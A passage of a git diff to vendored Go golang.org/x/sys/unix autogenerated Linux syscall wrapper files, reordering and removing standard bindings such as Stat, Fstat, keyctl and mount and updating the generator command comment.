-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
-@@ -1957,6 +574,21 @@ func Iopl(level int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -1978,13 +610,13 @@ func Time(t *Time_t) (tt Time_t, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func Utime(path string, buf *Utimbuf) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1993,8 +625,13 @@ func Lstat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2003,13 +640,13 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func Lstat(path string, stat *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2018,13 +655,23 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Utime(path string, buf *Utimbuf) (err error) {
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2033,15 +680,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+ _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2060,8 +705,10 @@ func Pause() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe() (p1 int, p2 int, err error) {
-+ r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ p1 = int(r0)
-+ p2 = int(r1)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64.go
-index 204ab1ae..de022639 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_ppc64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,ppc64 syscall_linux.go syscall_linux_ppc64x.go
-+// go run mksyscall.go -tags linux,ppc64 syscall_linux.go syscall_linux_ppc64x.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,ppc64
-@@ -14,1270 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
